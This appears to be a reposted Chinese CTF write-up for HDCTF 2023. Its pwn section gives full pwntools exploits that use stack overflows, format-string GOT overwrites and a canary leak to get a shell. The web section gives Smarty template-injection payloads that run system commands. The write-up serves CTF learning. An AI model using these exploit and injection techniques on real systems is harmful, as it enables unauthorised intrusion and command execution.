序
pwn 做完了,别的方向的也有打一点。
PWN
pwnner
伪随机数,种子也给出来了。先写个生成对应随机数的 c 程序。
// gcc 1.c -o 1#include<stdio.h>#include<stdlib.h>#include<time.h>intmain(){srand(0x39);printf("随机数为: %d\n",rand());return0;}
基础栈溢出 + 给了后门函数
exp 如下:
from pwn import*
p = process('./pwnner')#p = remote('node5.anna.nssctf.cn',28806)
p.sendline('1956681178')
backdoor =0x00000000004008B2
payload ='a'*(0x40+0x8)+ p64(backdoor)
sleep(0.1)
p.sendline(payload)
p.interactive()
KEEP ON
给了个 shell,不过是假的。
利用格式化字符串漏洞劫持 printf_got 为 system_plt(经过调试得到 printf 的偏移是6 )
下面存在 0x10 字节的溢出,能改 vuln 函数的返回地址为 vuln 再打一次,然后写入 ‘/bin/sh\x00’ 就能执行 system(‘/bin/sh\x00’)
exp 如下:
from pwn import*
context(arch='amd64', os='linux')
context.log_level ='debug'
elf = ELF("./hdctf")
p = process('./hdctf')#p = remote("node5.anna.nssctf.cn",28634)
system_plt =0x00000000004005E0
printf_got = elf.got['printf']#gdb.attach(p)#pause()
payload1 = fmtstr_payload(6,{printf_got: system_plt})
sleep(0.1)
p.sendafter('name: \n',payload1)
vuln_addr =0x40076F#pause()
payload2 ='a'*(0x50+0x8)+ p64(vuln_addr)
sleep(0.1)
p.sendafter('on !\n',payload2)#pause()
sleep(0.1)
p.sendafter('name: \n',"/bin/sh\x00")
p.interactive()
Makewish
伪随机数,种子默认为1,依旧是先写个生成对应随机数的 c 程序,跑出来 v5 为 707。
// gcc 1.c -o 1#include<stdio.h>#include<stdlib.h>#include<time.h>intmain(){int v5;
v5 =rand()%1000+324;printf("v5: %d\n", v5);return0;}
填入足够长的字符,改 canary 的低位 ‘\x00’ 为 ‘\x0a’,就能利用 puts 泄露 canary。然后通过了条件判断后可以进入 vuln,这里卡了好一会,直接输 ‘707’ 是过不了判断的,经过调试发现是直接比较内存单元的数据,所以改成了对应的十六进制形式 ‘\xc3\x02\x00\x00’ 来发送。
vuln 函数有 off-by-null,能改 old_ebp 的最低一字节为 ‘\x00’,可以上抬栈底指针了,运气好的话可以劫持到 main 函数的返回地址。在 payload 的前一部分布置尽量多的滑板指令,基本上跑两三遍就能出。
exp 如下:
from pwn import*
p = process('./pwn')#p = remote('node6.anna.nssctf.cn',28213)
context.log_level ='debug'#gdb.attach(p)#pause()
payload1 ='a'*(0x30-0x8)
p.sendline(payload1)
p.recvuntil(payload1)
canary = u64(p.recv(8))-0x0a
log.info("canary:"+hex(canary))
sleep(0.1)
p.send('\xc3\x02\x00\x00')#pause()
backdoor =0x4007C7
ret =0x400902
payload2 = p64(ret)*10
payload2 += p64(backdoor)
payload2 += p64(canary)
sleep(0.1)
p.sendline(payload2)
p.interactive()
Minions
利用 vuln 函数内的格式化字符串漏洞直接改 key 为 102(经过调试得到 printf 的偏移是6 )
存在 0x10 字节的栈溢出,能改回 main 函数的地址多打几次。
至于程序能够往 bss 段写,这个点我倒是没用上,后面的基本上跟 KEEP ON 的打法差不多。
至于出现了本地通远端不通的情况,我将返回到 main 改到 _start 就通了。
exp 如下:
from pwn import*
context(arch='amd64', os='linux')
context.log_level ='debug'
elf = ELF("./minions1")
p = process('./minions1')#p = remote('node6.anna.nssctf.cn',28837)
key_addr =0x6010A0
key =0x66#gdb.attach(p)#pause()
payload1 = fmtstr_payload(6,{key_addr: key})
p.sendafter('name?\n\n',payload1)
start_addr =0x400610#pause()
payload2 ='a'*(0x30+0x8)+ p64(start_addr)
p.sendafter('you\n',payload2)
p.sendafter('Minions?\n','a')
system_plt =0x00000000004005C0
printf_got = elf.got['printf']
payload3 = fmtstr_payload(6,{printf_got: system_plt})
p.sendafter('name?\n\n',payload3)
p.sendafter('you\n',payload2)
p.sendafter('Minions?\n','a')
p.sendafter('name?\n\n','/bin/sh\x00')
p.interactive()
WEB
Welcome To HDCTF 2023
签到题,移动人物往有倒计时的黑脸靠,HP = 0 的时候就会弹 flag
SearchMaster
smarty 注入
data={if system('ls /')}{/if}
data={if system('cat /flag_13_searchmaster')}{/if}
REVERSE
easy_re
使用 UPXshell 脱壳后拖入 IDA 分析,然后再 shift + f12 能找到一串使用 base64 编码的字符串,拖进在线网站解码即可。
easy_asm
直接拖进 IDA 中分析汇编。发现加密的字符串,转成字符是 XTSDVkZecdOqOu#ciOqC}m
将密文与 0x10 异或就是 flag。
flag ="XTSDVkZecdOqOu#ciOqC}m"
result =""for char in flag:
xored_char =chr(ord(char)^0x10)
result += xored_char
print(result)
double_code
by Jasonxjy
点进这个函数。
此处应该是加载 shellcode, 但是 ida 已经把 shellcode 分析成伪代码了
根据逻辑可以分析出来是个类似于虚拟机的操作,可以根据 opcode 写出 exp:
#include<iostream>#include<string>#include<cstring>
using namespace std;intmain(){int opcode[]={1,5,2,4,3};unsignedchar flag[]={0x48,0x67,0x45,0x51,0x42,0x7b,0x70,0x6a,0x30,0x68,0x6c,0x60,0x32,0x61,0x61,0x5f,0x42,0x70,0x61,0x5b,0x30,0x53,0x65,0x6c,0x60,0x65,0x7c,0x63,0x69,0x2d,0x5f,0x46,0x35,0x70,0x75,0x7d};for(int i =0; i <strlen((char*)flag); i ++){int tmp = i%5;if(tmp ==1){
flag[i]^=0x23;}elseif(tmp ==2){
flag[i]-=2;}elseif(tmp ==3){
flag[i]+=3;}elseif(tmp ==4){
flag[i]+=4;}elseif(tmp ==5){
flag[i]+=25;}printf("%c",flag[i]);}}
fake_game
2020年「羊城杯」网络安全大赛 Re部分 WriteUp_1182843538814603_Simon菌的博客-CSDN博客
ycb 有道类似的。使用 PyInstaller 解包,然后将 game.pyc 文件放入在线网站反编译。分析代码看到方程组,使用 z3 模块进行解密,再与 flag 数组进行异或。
from z3 import*
s=Solver()
xorr=[0]*4for i inrange(4):
xorr[i]=Int('xorr['+str(i)+']')
s.add(xorr[0]*256- xorr[1]/2+ xorr[2]*23+ xorr[3]/2==47118166)
s.add(xorr[0]*252- xorr[1]*366+ xorr[2]*23+ xorr[3]/2-1987==46309775)
s.add(xorr[0]*6- xorr[1]*88+ xorr[2]/2+ xorr[3]/2-11444==1069997)
s.add((xorr[0]-652)*2- xorr[1]*366+ xorr[2]*233+ xorr[3]/2-13333==13509025)if s.check()==sat:print(s.model())else:print("wrong")
先解密,然后再异或。
flag =[178868,188,56953,2413,178874,131,56957,2313,178867,156,56933,2377,178832,202,56899,2314,178830,167,56924,2313,178830,167,56938,2383,178822,217,56859,2372]
key='''''
xorr[1] = 248,
xorr[0] = 178940,
xorr[2] = 56890,
xorr[3] = 2360
'''
xorr =[178940,248,56890,2361]for i inrange(len(flag)):
key+=chr(flag[i]^xorr[i%4])print(key)
买了些什么呢
物品数量40,背包容量50,每个商品只能拿一次,以买到总价值最高的商品,从小到大排列输出商品的编号。
所以物品的重量和价值为:
2 8 5 1 10 5 9 9 3 5 6 6 2 8 2 2 6 3 8 7 2 5 3 4 3 3 2 7 9 6 8 7 2 9 10 3 8 10 6 5 4 2 3 4 4 5 2 2 4 9 8 5 3 8 8 10 4 2 10 9 7 6 1 3 9 7 1 3 5 9 7 6 1 10 1 1 7 2 4 9
纯 0-1 背包问题。
#include<bits/stdc++.h>
using namespace std;constint N=1e4+5;int f[N],p[N][N],w[N],v[N];//void printpath(int x)//{// if(!x) return;// printpath(x-w[p[x]]);// cout<<p[x]<<" ";//}intmain(){int n,m;// 先输入物品数量,再输入背包容量
cin>>n>>m;for(int i=1; i<=n; i++)
cin>>w[i]>>v[i];for(int i=n; i>=1; i--){;for(int j=m; j>=w[i]; j--){if(f[j]<f[j-w[i]]+v[i]){
f[j]=f[j-w[i]]+v[i];
p[i][j]=1;}}}
cout<<f[m]<<'\n';// printpath(m);for(int i=1,j=m;i<=n&&j>=0;i++){if(p[i][j]){
cout<<i-14<<" ";
j-=w[i];}}return0;}
运行截图如下,将结果使用 NSSCTF{} 包住就是 flag。
enc
by Jasonxjy
表面是个 tea 然后传参,使用脚本解出 v10 的值为 3
脚本如下:
#include<string.h>#include<iostream>
using namespace std;voidtea_decrypt(uint32_t*v,uint32_t*k){uint32_t v0 = v[0], v1 = v[1], sum =0xC6EF3720, i;uint32_t delta =0x9e3779b9;for(i =0; i <32; i++){
v1 -=((v0 <<4)+ k[2])^(v0 + sum)^((v0 >>5)+ k[3]);
v0 -=((v1 <<4)+ k[0])^(v1 + sum)^((v1 >>5)+ k[1]);
sum -= delta;}
v[0]= v0;
v[1]= v1;}intmain(){uint32_t enc[2]={0x60FCDEF7,0x236DBEC};uint32_t key[]={0x12,0x34,0x56,0x78};tea_decrypt(enc,key);
cout<<enc[0];return0;}
smc 加密处理了 hdctf 字段,使用 idapython 异或回去。
for i inrange(0x41d000,0x41E600):
patch_byte(i,get_wide_byte(i)^3)
就可以看到加密函数了,普通 rc4
#include<iostream>#include<cstring>
using namespace std;unsignedchar ida_chars[]={0xD4,0x16,0x87,0xD6,0x54,0x68,0xBC,0x02,0x15,0x6D,0x30,0x08,0x4B,0x61,0x4C,0x5E,0x42,0xFD,0x55,0x61,0xB9,0x27,0x6F,0xF5,0xB6,0x86,0x23,0xA9,0xEF,0x1C,0x04,0x9F};voidrc4_1(unsignedchar*s,unsignedchar*key,unsignedlong Len){int i =0, j =0;char k[256]={0};unsignedchar tmp =0;for(i =0; i<256; i++){
s[i]= i;
k[i]= key[i%Len];}for(i =0; i<256; i++){
j =(j + s[i]+ k[i])%256;
tmp = s[i];
s[i]= s[j];
s[j]= tmp;}}voidrc4_2(unsignedchar*s,unsignedchar*Data,unsignedlong Len){int i =0, j =0, t =0;unsignedlong k =0;unsignedchar tmp;for(k =0; k<Len; k++){
i =(i +1)%256;
j =(j + s[i])%256;
tmp = s[i];
s[i]= s[j];
s[j]= tmp;
t =(s[i]+ s[j])%256;
Data[k]^= s[t];}}intmain(){unsignedchar s[256]={0}, s2[256]={0};char key[256]="you_are_master";unsignedchar pData[512]={0xf,0x94,0xae,0xf2,0xc0,0x57,0xc2,0xe0,0x9a,0x45,0x37,0x50,0xf5,0xa0,0x5e,0xcb,0x2c,0x16,0x28,0x29,0xfe,0xff,0x33,0x46,0xe,0x57,0x82,0x22,0x52,0x26,0x2b,0x6e,0xe4,0x82,0x24};unsignedlong len =35;int i;rc4_1(s,(unsignedchar*)key,strlen(key));rc4_2(s,(unsignedchar*)pData, len);printf("%s", pData);return0;}
CRYPTO
Normal_Rsa
出题人忘删 flag 了,打开文件就看见 flag 了。
Normal_Rsa(revenge)
解 rsa。
p,q 要解一下,观察到给出的数字,位数一样就直接开方了。
(查到开根号的方法,开出来就是科学计数法,复原一下就好。
P =8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q =112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n =12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c =7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
e=65537
e=65537
p=pow(P,0.5)
q=pow(Q,0.5)print(p)print(q)
然后套 rsa 模板解密即可。
import gmpy2 as gs
import binascii
n =12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c =7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
e=65537
p=93595995503882796484948942664787567679411018850571035558047095185699253142469
q=10626484086425759109526601843431131274302413270645909659804218687679714714707826956012068057535486307660248767234433303462363381171495481245390248120740549
n=p*q
phi =(p-1)*(q-1)
d = gs.invert(e,phi)
m =pow(c,d,n)print(bytes.fromhex(hex(m)[2:]))
爬过小山去看云
小山的英文是 hill,就是希尔密码;云,就是云隐密码。
给了密钥的希尔密码,在线网站解密就好。
润色一下就看出来了。
your pin is
eight four two zero eight four two one zero eight eight four zero two four zero eight four zero one zero one two four x
# 842084210884024084010124
然后使用云隐密码的解密脚本。
ct ='842084210884024084010124'list= ct.split('0')
flag=''for i inlist:sum=0for j in i:sum+=int(j)
flag +=chr(sum+64)print(flag)# NSSCTF{NOTFLAG}
Math_Rsa
by Jasonxjy
直接用 sagemath 在环上进行开根即可还原 p,接着解一个 rsa
import gmpy2
from Crypto.Util.number import*
n =14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r =145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a =55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c =12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
P.<x>= PolynomialRing(Zmod(r))
f=x**2-a
f=f.monic()
p=f.roots()[0]print(p)
p=135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291
q=n//p
d=gmpy2.invert(65537,(p-1)*(q-1))
m=pow(c,d,n)print(long_to_bytes(m))
MISC
hardMisc
丢进 010editor 看,最后面有一串 base64 密文,放到在线网站解密即可。
ExtremeMisc
使用 binwalk 分析发现有压缩包,压缩包套娃。手动分离压缩包 IDAT.zip, Dic.zip,尝试爆破密码 haida,成功得到 reverse.piz 文件。
根据文件名称提示并放入 010editor 中,观察到压缩包中编码被反转,读取文件内内容进行反转。
f =open('Reverse.zip',"rb")# 打开要读取的二进制文件
hex_list =["{:02X}".format(c)for c in f.read()]# 将文件内容转换为十六进制字符串列表
f.close()
hex_str =''.join(hex_list)# 将列表中的字符串连接成一个字符串
reversed_hex_str = hex_str[::-1]# 将字符串反转
reversed_bytes =bytes.fromhex(reversed_hex_str)# 将反转后的十六进制字符串转换为字节流withopen('Reverse_reversed.zip','wb')as f:# 打开一个新的二进制文件,将反转后的字节流写入其中
f.write(reversed_bytes)
得到恢复正常的 zip 文件,但是解压发现还有加密,爆破得到密码是 9724。得到 secert.zip, plain.zip。plain.zip 有第二层加密,使用明文攻击拿到最后一层密码,打开读取 flag 即可。
MasterMisc
里面有好几个都是一样的压缩包。恢复密码是 5438,得到一张图片,然后使用 binwalk 可以得到一张图片一个音频。
音频可以看见第一部分flag。
图片爆破宽高然后修改得到第二部分flag。
最后一部分直接搜索原图片可以发现。
版权归原作者 S4n_v1 所有, 如有侵权,请联系我们删除。